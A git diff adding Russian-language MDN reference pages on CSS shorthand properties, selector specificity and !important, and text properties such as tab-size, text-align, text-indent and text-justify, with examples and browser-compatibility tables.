      border2.pngThe 2-value syntax: border-width: 1em 2em — The first value represents the vertical, that is top and bottom, edges, the second the horizontal ones, that is the left and right ones.
      border3.pngThe 3-value syntax: border-width: 1em 2em 3em — The first value represents the top edge, the second, the horizontal, that is left and right, ones, and the third value the bottom edge
      border4.png +

      The 4-value syntax: border-width: 1em 2em 3em 4em — The four values represent the top, right, bottom and left edges respectively, always in that order, that is clock-wise starting at the top (The initial letter of Top-Right-Bottom-Left matches the order of the consonant of the word trouble: TRBL)

      +
      +
      2. +
    2. Similarly, shorthands handling properties related to corners of a box, like {{cssxref("border-radius")}}, always use a consistent 1-to-4-value syntax representing those corners: + + + + + + + + + + + + + + + + + + + +
      corner1.pngThe 1-value syntax: border-radius: 1em — The unique value represents all corners
      corner2.pngThe 2-value syntax: border-radius: 1em 2em — The first value represents the top left and bottom right corner, the second the top right and bottom left ones.
      corner3.pngThe 3-value syntax: border-radius: 1em 2em 3em — The first value represents the top left corner, the second the top right and bottom left ones, and the third value the bottom right corner
      corner4.png +

      The 4-value syntax: border-radius: 1em 2em 3em 4em — The four values represent the top left, top right, bottom right and bottom left corners respectively, always in that order, that is clock-wise starting at the top left.

      +
      +
      3. +
    +
    4. +
+ +

Background properties

+ +

A background with the following properties ...

+ +
background-color: #000;
+background-image: url(images/bg.gif);
+background-repeat: no-repeat;
+background-position: left top;
+ +

... can be shortened to just one declaration:

+ +
background: #000 url(images/bg.gif) no-repeat left top;
+ +

(The shorthand form is actually the equivalent of the longhand properties above plus background-attachment: scroll and, in CSS3, some additional properties.)

+ +

Font properties

+ +

The following declarations ...

+ +
font-style: italic;
+font-weight: bold;
+font-size: .8em;
+line-height: 1.2;
+font-family: Arial, sans-serif;
+ +

... can be shortened to the following:

+ +
font: italic bold .8em/1.2 Arial, sans-serif;
+ +

This shorthand declaration is actually equivalent to the longhand declarations above plus font-variant: normal and font-size-adjust: none (CSS2.0 / CSS3), font-stretch: normal (CSS3).

+ +

Border properties

+ +

With borders, the width, color, and style can be simplified into one declaration. For example, the following CSS ...

+ +
border-width: 1px;
+border-style: solid;
+border-color: #000;
+ +

... can be simplified as:

+ +
border: 1px solid #000;
+ +

Margin and padding properties

+ +

Shorthand versions of margin and padding values work the same way. The following CSS declarations ...

+ +
margin-top: 10px;
+margin-right: 5px;
+margin-bottom: 10px;
+margin-left: 5px;
+ +

... are the same as the following declaration. Note that the values are in clockwise order, beginning at the top: top, right, bottom, then left (TRBL, the consonants in "trouble").

+ +
margin: 10px 5px 10px 5px;
+ +

See also

+ +
    +
  • {{css_key_concepts}}
    • +
  • Shorthand properties: {{cssxref("animation")}}, {{cssxref("background")}}, {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}, {{cssxref("border-left")}}, {{cssxref("border-radius")}}, {{cssxref("border-right")}}, {{cssxref("border-style")}}, {{cssxref("border-top")}}, {{cssxref("border-width")}}, {{cssxref("column-rule")}}, {{cssxref("columns")}}, {{cssxref("flex")}}, {{cssxref("flex-flow")}}, {{cssxref("font")}}, {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("grid-template")}}, {{cssxref("list-style")}}, {{cssxref("margin")}}, {{cssxref("offset")}}, {{cssxref("outline")}}, {{cssxref("overflow")}}, {{cssxref("padding")}}, {{cssxref("place-content")}}, {{cssxref("place-items")}}, {{cssxref("place-self")}}, {{cssxref("text-decoration")}}, {{cssxref("transition")}}
    • +
diff --git a/files/ru/web/css/specificity/index.html b/files/ru/web/css/specificity/index.html new file mode 100644 index 0000000000..79e8065987 --- /dev/null +++ b/files/ru/web/css/specificity/index.html @@ -0,0 +1,240 @@ +--- +title: Специфичность +slug: Web/CSS/Specificity +tags: + - CSS + - specifity + - Порядок применения правил + - Примеры + - Руководство + - Специфичность селектора +translation_of: Web/CSS/Specificity +--- +

{{cssref}}

+ +

Определение

+ +

Специфичность - это способ, с помощью которого браузеры определяют, какие значения свойств CSS наиболее соответствуют элементу и, следовательно, будут применены. Специфичность основана на правилах соответствия, состоящих из селекторов CSS различных типов.

+ +

Как вычисляется специфичность?

+ +

Специфичность представляет собой вес, придаваемый конкретному правилу CSS. Вес правила определяется количеством каждого из типов селекторов в данном правиле. Если у нескольких правил специфичность одинакова, то к элементу применяется последнее по порядку правило CSS. Специфичность имеет значение только в том случае, если один элемент соответствует нескольким правилам. Согласно спецификации CSS, правило для непосредственно соответствующего элемента всегда будет иметь больший приоритет, чем правила, унаследованные от предка.

+ +
Примечание: Взаимное расположение элементов в дереве документа не влияет на специфичность.
+ +

Типы селекторов

+ +

В следующем списке типы селекторов расположены по возрастанию специфичности:

+ +
    +
  1. селекторы типов элементов (например, h1) и псевдоэлементов (например, ::before).
    2. +
  2. селекторы классов (например, .example), селекторы атрибутов (например, [type="radio"]) и псевдокласов (например, :hover).
    3. +
  3. селекторы идентификаторов (например, #example).
    4. +
+ +

Универсальный селектор (*), комбинаторы (+, >, ~, ' ') и отрицающий псевдокласс (:not()) не влияют на специфичность. (Однако селекторы, объявленные внутри :not(), влияют)

+ +

Стили, обьявленные в элементе (например, style="font-weight:bold"), всегда переопределяют любые правила из внешних файлов стилей и, таким образом, их специфичность можно считать наивысшей.

+ +

Важное исключение из правил - !important

+ +

Когда при объявлении стиля используется модификатор !important, это объявление получает наивысший приоритет среди всех прочих объявлений. Хотя технически модификатор !important не имеет со специфичностью ничего общего, он непосредственно на неё влияет. Поскольку !important усложняет отладку, нарушая естественное каскадирование ваших стилей, он не приветствуется и следует избегать его использования. Если к элементу применимы два взаимоисключающих стиля с модификатором !important, то применен будет стиль с большей специфичностью.

+ +

Несколько практических советов:

+ +
    +
  • Всегда пытайтесь использовать специфичность, а !important используйте только в крайних случаях
    • +
  • Используйте !important только в страничных стилях, которые переопределяют стили сайта или внешние стили (стили библиотек, таких как Bootstrap или normalize.css)
    • +
  • Никогда не используйте !important, если вы пишете плагин или мэшап.
    • +
  • Никогда не используйте !important в общем CSS сайта.
    • +
+ +

Вместо !important можно:

+ +
    +
  1. Лучше использовать каскадные свойства CSS
    2. +
  2. +

    Использовать более специфичные правила. Чтобы сделать правило более специфичным и повысить его приоритет, укажите один элемент или несколько перед нужным вам элементом:

    + + 
    <div id="test">
+  <span>Text</span>
+</div>
    + + 
    div#test span { color: green }
+div span { color: blue }
+span { color: red }
+
    +
    3. +
+ +

Вне зависимости от порядка следования правил, текст всегда будет зелёным, поскольку у этого правила наибольшая специфичность (при этом, правило для голубого цвета имеет преимущество перед правилом для красного, несмотря на порядок следования).

+ +

Вам придется использовать !important если:

+ +

А) Первый сценарий:

+ +
    +
  1. У вас есть общий файл стилей, устанавливающий правила для внешнего вида сайта.
    2. +
  2. Вы пользуетесь (или кто-то другой пользуется) весьма сомнительным средством - объявлением стилей непосредственно в элементах
    3. +
+ +

В таком случае вам придется объявить некоторые стили в вашем общем файле CSS как !important, переопределяя, таким образом, стили, установленные в самих элементах.

+ +

Пример из практики: Некоторые плохо написанные плагины jQuery, использующие присваивание стилей самим элементам.

+ +

Б) Еще сценарий:

+ +
#someElement p {
+    color: blue;
+}
+
+p.awesome {
+    color: red;
+}
+ +

Как сделать цвет текста в абзацах awesome красным всегда, даже если они расположены внутри #someElement? Без !important у первого правила специфичность больше и оно имеет преимущество перед вторым.

+ +

Как преодолеть !important

+ +

A) Просто добавьте еще одно правило с модификатором !important, у которого селектор имеет большую специфичность (благодаря добавлению типа элемента (тэга), идентификатора (атрибута id) или класса к селектору).

+ +

Пример большей специфичности:

+ +
table td    {height: 50px !important;}
+.myTable td {height: 50px !important;}
+#myTable td {height: 50px !important;}
+ +

Б) Или добавьте правило с модификатором !important и таким же селектором, но расположенное в файле после существующего (при прочих равных выигрывает последнее объявленное правило):

+ +
td {height: 50px !important;}
+ +

В) Или перепишите первоначальное правило без использования !important.

+ +

С более подробной информацией можно ознакомиться по следующим ссылкам:

+ +

Когда надо использовать !important в CSS?

+ +

Что означает !important в CSS?

+ +

Когда в CSS надо использовать модификатор !important

+ +

Как преодолеть !important

+ +

Как использовать модификатор !important в CSS чтобы сэкономить время

+ +

 

+ +

Не исключение - :not()

+ +

Отрицающий псевдокласс :not не учитывается как псевдокласс при расчете специфичности. Однако селекторы, расположенные внутри :not, при подсчете количества по типам селекторов рассматриваются как обычные селекторы и учитываются.

+ +

Следующий фрагмент CSS ...

+ +
div.outer p {
+  color: orange;
+}
+div:not(.outer) p {
+  color: lime;
+}
+
+ +

... примененный к такому HTML ...

+ +
<div class="outer">
+  <p>Это div.outer</p>
+  <div class="inner">
+    <p>Это текст в div.inner</p>
+  </div>
+</div>
+
+ +

... отобразится на экране так:

+ +

Это div.outer

+ +

Это текст в div.inner

+ +

Специфичность основана на форме

+ +

Специфичность опирается на форму селектора. В следующем примере, при определении специфичности селектора, селектор *[id="foo"] считается селектором атрибута, даже при том, что ищет идентификатор.

+ +

Эти объявления стилей ...

+ +
*#foo {
+  color: green;
+}
+*[id="foo"] {
+  color: purple;
+}
+
+ +

... примененные к нижеследующей разметке ...

+ +
<p id="foo">Это пример.</p>
+
+ +

... в результате выглядят так:

+ +

Это пример.

+ +

Потому что оба правила соответствуют одному и тому же элементу, но селектор идентификатора имеет большую специфичность.

+ +

Независимость от расположения

+ +

Взаимное расположение элементов, указанных в селекторе не влияет на специфичность правила. Следующие объявления стилей ...

+ +
body h1 {
+  color: green;
+}
+html h1 {
+  color: purple;
+}
+
+ +

... в сочетании со следующим HTML ...

+ +
<html>
+<body>
+  <h1>Вот заголовок!</h1>
+</body>
+</html>
+
+ +

... отобразится как:

+ +

Вот заголовок!

+ +

Потому что, хотя оба объявления имеют одинаковое количество типов селекторов, но селектор html h1 объявлен последним.

+ +

Непосредственно соответствующие элементы и унаследованные стили

+ +

Стили непосредственно соответствующих элементов всегда предпочитаются унаследованным стилям, независимо от специфичности унаследованного правила. Этот CSS ...

+ +
#parent {
+  color: green;
+}
+h1 {
+  color: purple;
+}
+ +

... с таким HTML ...

+ +
<html>
+<body id="parent">
+  <h1>Вот заголовок!</h1>
+</body>
+</html>
+ +

... тоже отобразится как:

+ +

Вот заголовок!

+ +

Потому что селектор h1 непосредственно соответствует элементу, а стиль, задающий зеленый цвет, всего лишь унаследован от родителя.

+ +

Дополнительная информация

+ +
    +
  • Калькулятор специфичности: Интерактивный сайт, помогущий вам проверить и понять ваши собственные правила CSS - https://specificity.keegan.st/
    • +
  • Специфичность селекторов в CSS3 - http://www.w3.org/TR/selectors/#specificity
    • +
  • {{ CSS_key_concepts() }}
    • +
diff --git a/files/ru/web/css/tab-size/index.html b/files/ru/web/css/tab-size/index.html new file mode 100644 index 0000000000..a66d51195d --- /dev/null +++ b/files/ru/web/css/tab-size/index.html @@ -0,0 +1,89 @@ +--- +title: tab-size +slug: Web/CSS/tab-size +translation_of: Web/CSS/tab-size +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

CSS-свойство tab-size используется для настройки ширины символа табуляции (U+0009).

+ +
/* <integer> значения */
+tab-size: 4;
+tab-size: 0;
+
+/* <length> значения */
+tab-size: 10px;
+tab-size: 2em;
+
+/* Глобальные значения */
+tab-size: inherit;
+tab-size: initial;
+tab-size: unset;
+
+ +

{{CSSInfo}}

+ +

Синтаксис

+ +

Значения

+ +
+
{{CSSxRef("<integer>")}}
+
Количество пробелов в табе. Должно быть неотрицательным.
+
{{CSSxRef("<length>")}}
+
Ширина таба. Должно быть неотрицательным.
+
+ +

Формальный синтаксис

+ +
{{CSSSyntax}}
+ +

Примеры

+ +
pre {
+  tab-size: 4; /* Установит размер таба в 4 пробела */
+}
+
+ +
pre {
+  tab-size: 0; /* Удалит отступ */
+}
+
+ +
pre {
+  tab-size: 2; /* Установит размер таба в 2 пробела */
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('CSS3 Text', '#tab-size-property', 'tab-size')}}{{Spec2('CSS3 Text')}}Первое определение
+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.tab-size")}}

+ +

 

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/text-align-last/index.html b/files/ru/web/css/text-align-last/index.html new file mode 100644 index 0000000000..26ab1b594b --- /dev/null +++ b/files/ru/web/css/text-align-last/index.html @@ -0,0 +1,139 @@ +--- +title: text-align-last +slug: Web/CSS/text-align-last +translation_of: Web/CSS/text-align-last +--- +
{{CSSRef}}
+ +
{{SeeCompatTable}}
+ +

Кратко

+ +

text-align-last CSS свойство описывает как выравнивается последняя строка в блоке или строка, идущая сразу перед принудительным разрывом строки.

+ +
{{cssinfo}}
+ +

Синтаксис

+ +
Formal syntax: {{csssyntax("text-align-last")}}
+ +
text-align-last: auto
+text-align-last: start
+text-align-last: end
+text-align-last: left
+text-align-last: right
+text-align-last: center
+text-align-last: justify
+
+text-align-last: inherit
+
+ +

Значения

+ +
+
auto
+
Затронутая строка выравнивается в зависимости от значения  {{cssxref("text-align")}}, за исключением {{cssxref("text-align")}} со значением justify, в этом случае эффект такой же как установить text-align-last равным left.
+
start
+
Подобно left если направление слева направо, и right если направление справа налево.
+
end
+
Подобно right если направление слева направо, и left если направление справа налево.
+
left
+
Линейное содержимое выравнивается по левому краю линейного блока.
+
right
+
Линейное содержимое выравнивается по правому краю линейного блока.
+
center
+
Линейное содержимое центрируется внутри линейного блока.
+
justify
+
Текст выравнивается по ширине. Тексту следует выстраивать свои левые и правые границы по левым и правым границам содержимого параграфа.
+
+ +

Примеры

+ +
div {
+  text-align: justify;
+  -moz-text-align-last: center;
+  text-align-last: center;
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Text', '#text-align-last', 'text-align-last')}}{{Spec2('CSS3 Text')}} 
+ +

Совместимость браузера

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка35
+ {{WebkitBug("76173")}}		{{CompatGeckoDesktop("12.0")}}{{property_prefix('-moz')}}5.5{{CompatNo}}{{CompatNo}}
+ {{WebkitBug("76173")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая
+ поддержка		{{CompatNo}}
+ {{WebkitBug("76173")}}		{{CompatGeckoMobile("12.0")}}{{property_prefix('-moz')}}6.0{{CompatNo}}{{CompatNo}}
+ {{WebkitBug("76173")}}
+
+ +

В Internet Explorer значения start и end не поддерживаются.

+ +

Смотрите также

+ +
    +
  • {{cssxref("text-align")}}
    • +
diff --git a/files/ru/web/css/text-align/index.html b/files/ru/web/css/text-align/index.html new file mode 100644 index 0000000000..925aceee44 --- /dev/null +++ b/files/ru/web/css/text-align/index.html @@ -0,0 +1,260 @@ +--- +title: text-align +slug: Web/CSS/text-align +translation_of: Web/CSS/text-align +--- +
{{CSSRef}}
+ +

Резюме

+ +

text-align CSS свойство описывает, как линейное содержимое, наподобие текста, выравнивается в блоке его родительского элемента. text-align не контролирует выравнивание элементов самого блока, но только их линейное содержимое.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
Формальный синтаксис: {{csssyntax("text-align")}}
+
+ +
text-align: left
+text-align: right
+text-align: center
+text-align: justify
+text-align: start
+text-align: end
+text-align: match-parent
+text-align: start end
+text-align: "."
+text-align: start "."
+text-align: "." end
+
+text-align: inherit
+
+ +

Значения

+ +
+
start {{experimental_inline}}
+
Подобно left если направление слева направо, и right если наоборот.
+
end {{experimental_inline}}
+
Подобно right если направление слева направо, и left если наоборот.
+
left
+
Линейное содержимое выравнивается по левому краю линейного блока.
+
right
+
Линейное содержимое выравнивается по правому краю линейного блока.
+
center
+
Линейное содержимое центрируется в линейном блоке.
+
<string> {{experimental_inline}}
+
Первое появление односимвольной строки - это элемент используемый для выравнивания. Ключевое слово, следует или предшествует, и определяет, как это выравнивается. Это позволяет выравнять численные значения с десятичной точкой, к примеру.
+
justify
+
Текст выравнивается. Тексту следует выстраивать свои левые и правые границы по левым и правым границам содержимого параграфа.
+
match-parent {{experimental_inline}}
+
Наподобие inherit с различием, что значение start и end вычисляются в соответствии {{cssxref("direction")}} и заменяются соответствующим left или right значением.
+
+ +

Примеры

+ +

Посмотреть живые примеры

+ +

Живые примеры

+ +
div { text-align: center; border:solid; } + +

p { background:gold; width:22em; }

+несколько текста...
+ +
div { text-align: center; border:solid; } + +

p { background:gold; width:22em; margin: 1em auto; }

+несколько текста...
+ +
div { text-align:-moz-center; text-align:-webkit-center; border:solid; } + +

p { background:gold; width:22em; }

+несколько текста...
+ +

Примечание

+ +

Стандартный совместимый способ центрировать сам блок без выравнивания его содержимого, это установка его left и right margin в auto, пример:
+ margin:auto; или margin:0 auto; или  margin-left:auto; margin-right:auto;

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS Logical Properties', '#text-align', 'text-align')}}{{Spec2('CSS Logical Properties')}}Нет изменений
{{SpecName('CSS3 Text', '#text-align', 'visibility')}}{{Spec2('CSS3 Text')}}Добавлены ключевые слова start, end и match-parent. Изменено безымянное начальное значение в start (которое было).
{{SpecName('CSS2.1', 'text.html#alignment-prop', 'text-align')}}{{Spec2('CSS2.1')}}Нет изменений
{{SpecName('CSS1', '#text-align', 'text-align')}}{{Spec2('CSS1')}}Исходное определение.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка (left, right, center and justify)1.0{{CompatGeckoDesktop("1.0")}}3.03.51.0 (85)
Block alignment values [1] {{non-standard_inline}}1.0{{property_prefix("-webkit")}}{{CompatGeckoDesktop("1.0")}}{{property_prefix("-moz")}}{{CompatNo}}{{CompatNo}}1.0 (85){{property_prefix("-khtml")}}
+ 1.3 (312){{property_prefix("-webkit")}}
start {{experimental_inline}}1.0{{CompatGeckoDesktop("1.0")}}{{CompatNo}}{{CompatVersionUnknown}}3.1 (525)
end {{experimental_inline}}1.0{{CompatGeckoDesktop("1.9.2")}}{{CompatNo}}{{CompatNo}}3.1 (525)
match-parent{{experimental_inline}}16{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{cssxref("string>")}}
+ value{{experimental_inline}}		{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Block alignment values [1] {{non-standard_inline}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
start {{experimental_inline}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
end {{experimental_inline}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
match-parent{{experimental_inline}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{cssxref("<string>")}} value{{experimental_inline}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Оба WebKit и Gecko поддерживают префиксную версию left, center, и right, которая применяется не только к линейному содержимому, но также и к блочным элементам. Это используется для реализации унаследованных {{htmlattrxref("align", "td")}} атрибутов на некоторых таблично-связанных элементах. Не используйте их в рабочих сайтах.

+ +

Смотрите также

+ +
    +
  • {{Cssxref("margin","margin:auto")}}, {{Cssxref("margin-left","margin-left:auto")}}, {{Cssxref("vertical-align")}}
    • +
diff --git a/files/ru/web/css/text-decoration-skip/index.html b/files/ru/web/css/text-decoration-skip/index.html new file mode 100644 index 0000000000..206207acd9 --- /dev/null +++ b/files/ru/web/css/text-decoration-skip/index.html @@ -0,0 +1,151 @@ +--- +title: text-decoration-skip +slug: Web/CSS/text-decoration-skip +translation_of: Web/CSS/text-decoration-skip +--- +
{{CSSRef}}
+ +

The text-decoration-skip CSS property specifies what parts of the element’s content any text decoration affecting the element must skip over. It controls all text decoration lines drawn by the element and also any text decoration lines drawn by its ancestors.

+ +
/* Single keyword */
+text-decoration-skip: none;
+text-decoration-skip: objects;
+text-decoration-skip: spaces;
+text-decoration-skip: ink;
+text-decoration-skip: edges;
+text-decoration-skip: box-decoration;
+
+/* Multiple keywords */
+text-decoration-skip: objects spaces;
+text-decoration-skip: ink edges box-decoration;
+
+/* Global keywords */
+text-decoration-skip: inherit;
+text-decoration-skip: initial;
+text-decoration-skip: unset;
+
+ +

{{cssinfo}}

+ +

Синтаксис

+ +

Значения

+ +
+
none
+
Nothing is skipped, i.e. text decoration is drawn for all text content and across atomic inline-level boxes.
+
objects
+
The entire margin box of the element is skipped if it is an atomic inline such as an image or inline-block.
+
spaces
+
All spacing is skipped, i.e. all Unicode white space characters and all word separators, plus any adjacent {{cssxref("letter-spacing")}} or {{cssxref("word-spacing")}}.
+
ink
+
The text decoration is only drawn where it does not touch or closely approach a glyph. I.e. it is interrupted where it would otherwise cross over a glyph.
+
An example of "text-decoration-skip: ink;".
+
edges
+
The start and end of the text decoration is placed slightly inward (e.g. by half of the line thickness) from the content edge of the decorating box. E.g. two underlined elements side-by-side do not appear to have a single underline. (This is important in Chinese, where underlining is a form of punctuation.)
+
An example of "text-decoration-skip: edges;".
+
box-decoration
+
The text decoration is skipped over the box's margin, border and padding areas. This only has an effect on decorations imposed by an ancestor; a decorating box never draws over its own box decoration.
+
+ +

Формальный синтаксис

+ +

{{csssyntax}}

+ +

Примеры

+ +

HTML content

+ +
<p>Hey, grab a cup of coffee!</p>
+ +

CSS content

+ +
p {
+  margin: 0;
+  font-size: 3em;
+  text-decoration: underline;
+  text-decoration-skip: ink;
+}
+ +

Результат

+ +

{{EmbedLiveSample("Example", "100%", 60)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS3 Text Decoration", "#text-decoration-skip-property", "text-decoration-skip")}}{{Spec2("CSS3 Text Decoration")}}Initial definition
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(57)}}{{CompatNo}}[2]{{CompatNo}}[1]{{CompatNo}}{{CompatOpera(44)}}{{CompatNo}}[3]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(57)}}{{CompatChrome(57)}}{{CompatNo}}[1]{{CompatNo}}{{CompatOperaMobile(44)}}{{CompatNo}}[3]
+
+ +

[1] This feature is not implemented yet. See {{bug(812990)}}.

+ +

[2] This feature is not implemented yet. See the related request.

+ +

[3] Safari implements a {{property_prefix("-webkit")}} prefixed version of this property since version 8, though only supports the value none and the non-standard value skip. All other values behave like those two values.

diff --git a/files/ru/web/css/text-indent/index.html b/files/ru/web/css/text-indent/index.html new file mode 100644 index 0000000000..143069b642 --- /dev/null +++ b/files/ru/web/css/text-indent/index.html @@ -0,0 +1,212 @@ +--- +title: text-indent +slug: Web/CSS/text-indent +translation_of: Web/CSS/text-indent +--- +
{{CSSRef}}
+ +

Свойство text-indent определяет размер отступа (пустого места) перед строкой в текстовом блоке. По умолчанию это свойство управляет отступом только первой строкой блока, однако ключевые слова hanging и each-line могут изменить данное поведение.

+ +

Строка смещается по горизонтали к левому или к правому (при размещении текста справа налево) краю блока, в котором содержится элемент.

+ +

 {{cssinfo}}

+ +

Синтаксис

+ +
/* значение <length> */
+text-indent: 3mm;
+text-indent: 40px;
+
+/* значение <percentage> зависит от ширины блока*/
+text-indent: 15%;
+
+/* значения ключевых слов */
+text-indent: 5em each-line;
+text-indent: 5em hanging;
+text-indent: 5em hanging each-line;
+
+/* международные значения */
+text-indent: inherit;
+text-indent: initial;
+text-indent: unset;
+
+ +

Значения

+ +
+
<length> 
+
Отступ определяется как абсолютная длина ({{cssxref("<length>")}}). Возможны также отрицательные значения. Статья про значение длины ({{cssxref("<length>")}}) расскажет больше про возможные единицы измерения.
+
<percentage> 
+
В процентном ({{cssxref("<percentage>")}}) соотношении отступ зависит от ширины всего блока, внутри которого находится строка.
+
each-line {{experimental_inline}} (экспериментальное значение)
+
Отступ добавляется к первой строке блочного контейнера, а также к каждой строке после принудительного разрыва строки (Enter и br), но не влияет на строки после мягкого переноса. 
+
hanging {{experimental_inline}} (экспериментальное значение)
+
Отступ добавляется ко всем строкам, кроме первой. 
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Простые примеры отступов

+ +

HTML

+ +
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy
+nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p>
+<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy
+nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p>
+
+ +

CSS

+ +
p {
+  text-indent: 5em;
+  background: powderblue;
+}
+ +

{{ EmbedLiveSample('Simple_indent','100%','100%') }}

+ +

Пример со значением <percentage> 

+ +

HTML

+ +
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy
+nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p>
+<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy
+nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p>
+ +

CSS

+ +
p {
+  text-indent: 30%;
+  background: plum;
+}
+ +

{{ EmbedLiveSample('Percentage_indent_example','100%','100%') }}

+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Text', '#text-indent', 'text-indent')}}{{Spec2('CSS3 Text')}}Добавили ключевые слова hanging и each-line
{{SpecName('CSS3 Transitions', '#animatable-css', 'text-indent')}}{{Spec2('CSS3 Transitions')}}Определяет text-indent как анимированное свойство
{{SpecName('CSS2.1', 'text.html#indentation-prop', 'text-indent')}}{{Spec2('CSS2.1')}}Подробно определяет поведение блочно-строчных элементов (display: inline-block) и незаполненных блоков (anonymous block boxes)
{{SpecName('CSS1', '#text-indent', 'text-indent')}}{{Spec2('CSS1')}}Начальное определение
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ХарактеристикаFirefox (Gecko)ChromeEdgeInternet ExplorerOperaSafari
Базовая поддержка{{CompatGeckoDesktop("1.0")}}1.0{{CompatVersionUnknown}}3.03.51.0 (85)
hanging{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
each-line{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ХарактеристикаFirefox Mobile (Gecko)AndroidEdgeIE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatGeckoMobile("1.9.2")}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
hanging{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
each-line{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Gecko это не поддерживает. Смотрите {{bug(784648)}}.

diff --git a/files/ru/web/css/text-justify/index.html b/files/ru/web/css/text-justify/index.html new file mode 100644 index 0000000000..90498601e6 --- /dev/null +++ b/files/ru/web/css/text-justify/index.html @@ -0,0 +1,115 @@ +--- +title: text-justify +slug: Web/CSS/text-justify +tags: + - Текст + - выравнивание текста +translation_of: Web/CSS/text-justify +--- +
{{CSSRef}}
+ +

CSS-свойство text-justify определяет какой тип выравнивания следует применить к тексту,  когда {{cssxref("text-align")}}: justify; применяется к элементу.

+ +
text-justify: none;
+text-justify: auto;
+text-justify: inter-word;
+text-justify: inter-character;
+text-justify: distribute; /* Устаревшее значение */
+
+ +
{{cssinfo}}
+ +

Синтаксис

+ +

Свойство text-justify указывается как одно ключевое слово, выбранное из нижеследующего списка значений.

+ +

Значения

+ +
+
none
+
Выравнивание текста отключено. Оно имеет такой же эффект как отсутствие применение свойства {{cssxref("text-align")}}, хотя оно полезно, если вам нужно включать и выключать выравнивание.
+
auto
+
Браузер выбирает лучший тип выравнивания в текущей ситуации, основываясь на балансе между производительностью и качеством, а также на том, что более подходит для языка текста (например, английского, иероглифных языков, и т.п.).  Оно используется по умолчанию, если text-justify не установлен.
+
inter-word
+
Выравнивание текста по средствам добавления пробелов между словами (эффективно варьируя {{cssxref("word-spacing")}}), что наиболее подходит для языков, которые используют разделение слов пробелами, таких как английский или корейский.
+
inter-character
+
